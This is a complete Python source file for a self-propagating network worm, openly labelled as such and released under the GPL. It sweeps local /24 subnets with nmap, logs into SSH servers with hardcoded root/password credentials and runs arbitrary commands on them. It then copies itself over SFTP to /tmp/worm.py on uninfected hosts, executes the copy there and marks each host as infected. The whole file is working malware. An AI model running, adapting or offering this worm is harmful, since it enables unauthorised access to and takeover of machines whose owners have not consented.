# -*- coding: utf-8 -*-
# -----------------------------------------------------------------
# Name:         worm
# Purpose:      Simple network worm for command stdout fetch
#
# Author:       Alexey Belov
#
# Created:      27/02/2020
# License:      GPL
# -----------------------------------------------------------------

import os
import re
import sys
import time
import pathlib
import subprocess

import nmap
import netifaces
import paramiko


INFECTION_MARKER = "/tmp/WormInfectionMarker.txt"



class Worm(object):
    """
    Worm runs commands on remote hosts via ssh
    """
    def __init__(self):
        data = []
        command = sys.argv[1]
        current_hosts = self.get_hosts_interfaces()
        current_path = pathlib.Path(__file__).absolute()

        try:
            parent = sys.argv[3]
        except IndexError:
            parent = None

        host_list = sys.argv[2].split(',')
        target_hosts = set(host_list.copy())
        neighboring_hosts = self.scan_ssh_hosts(current_hosts) - current_hosts

        host_matches = target_hosts.intersection(current_hosts)
        if host_matches and not parent:
            p = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
            stdout, stderr = p.communicate()
            result = stdout.decode('utf-8').replace('\n', '')

            for host in host_matches:
                data.append((host, result))

            if host_matches == target_hosts:
                self.show_output(data, host_list)
                sys.exit(0)

            target_hosts -= current_hosts

        self.username = 'root'
        self.password = 'password'
        self.current_path = current_path
        self.current_hosts = current_hosts
        self.parent = parent
        self.data = data

        self.mark_infected()
        self._fetch_outputs(command, neighboring_hosts, target_hosts)
        if not parent:
            self.show_output(self.data, host_list)

    def _fetch_outputs(self, command, neighboring_hosts, target_hosts):
        """
        Runs commands using SSH on hosts available on the network
        """
        not_infected = []

        for host in neighboring_hosts:
            client = self.connect_to_ssh(host)
            if not client:
                continue

            result = self.run_command(client, command)
            if self.parent:
                d = f'¦¦{host}Ĩ{result}¦¦'
                print(d)
            else:
                self.data.append((host, result))
                d = f'¦¦{host}Ĩ{result}¦¦'

            if host in target_hosts:
                target_hosts.remove(host)

            infected = self.is_infected(client)
            if not infected:
                not_infected.append(host)

            client.close()

        neighboring_hosts.update(self.current_hosts)
        if not target_hosts or target_hosts.issubset(neighboring_hosts):
            return None

        target_hosts_str = ','.join(target_hosts)
        for host in not_infected:
            client = self.connect_to_ssh(host)
            self._propagate(client, command, target_hosts_str)
            client.close()

    def connect_to_ssh(self, host):
        """
        Tries to connect to a SSH server
        Returns:
            Client - Connection successful
            None - Something went wrong
        Args:
            host - Target machine's IP
        """
        client = paramiko.SSHClient()
        client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        try:
            client.connect(host, 22, self.username, self.password, timeout=7)
            return client

        except:
            return None

    def scan_ssh_hosts(self, interfaces):
        """
        Scans all machines on the same network that
        have SSH (port 22) enabled
        Returns:
            IP addresses of hosts
        """

        hosts = set()
        nm = nmap.PortScanner()
        for g in interfaces:
            nm.scan(f'{g}/24', arguments='-sP --open')
            res = nm.all_hosts()
            if res:
                hosts.update(res)

        return hosts

    def get_hosts_interfaces(self):
        """
        Scans interfaces
        """
        interfaces = netifaces.interfaces()
        interfaces.remove('lo')

        out = set()
        for interface in interfaces:
            addrs = netifaces.ifaddresses(interface)
            if netifaces.AF_INET in addrs.keys():
                out.add(addrs[netifaces.AF_INET][0]['addr'])

        return out

    def run_command(self, client, command):
        """
        Runs command on a remote host via ssh
        """
        stdin, stdout, stderr = client.exec_command(command)
        result = stdout.read().decode('utf-8').replace('\n', '')

        return result

    def _propagate(self, client, command, target_hosts_str):
        """
        Copies the worm to various locations using sftp
        """
        with client.open_sftp() as sftp:
            sftp.put(self.current_path, '/tmp/worm.py')

        client.exec_command('chmod a+x /tmp/worm.py')
        child_command = f'python -u /tmp/worm.py {command} {target_hosts_str} {self.current_hosts}'
        result = self.run_command(client, child_command)

        if self.parent:
            print(result)
        else:
            raw_data = re.findall('\¦¦.*?\¦¦', result)
            for x in raw_data:
                x = tuple(x.replace('¦¦', '').split('Ĩ'))
                self.data.append(x)

    def is_infected(self, client):
        """
        Checks if the host is infected by a worm
        """
        infected = False
        try:
            with client.open_sftp() as sftp:
                sftp.stat(INFECTION_MARKER)

            infected = True
        except:
            pass

        return infected

    def mark_infected(self):
        """
        Infects a host using a marker
        """
        with open(INFECTION_MARKER, 'w') as marker:
            marker.write('System infected')

    def show_output(self, data, host_list):
        """
        Returns fancy output to user
        """
        outputs = set(data)
        for x in host_list:
            item = [i for i in outputs if i[0] == x]
            if item:
                print(f'{x} returned:')
                print(item[0][1])
            else:
                print(f'{x} - host unreachable')


if __name__ == '__main__':
    # Sleep for ssh server
    time.sleep(5)
    Worm()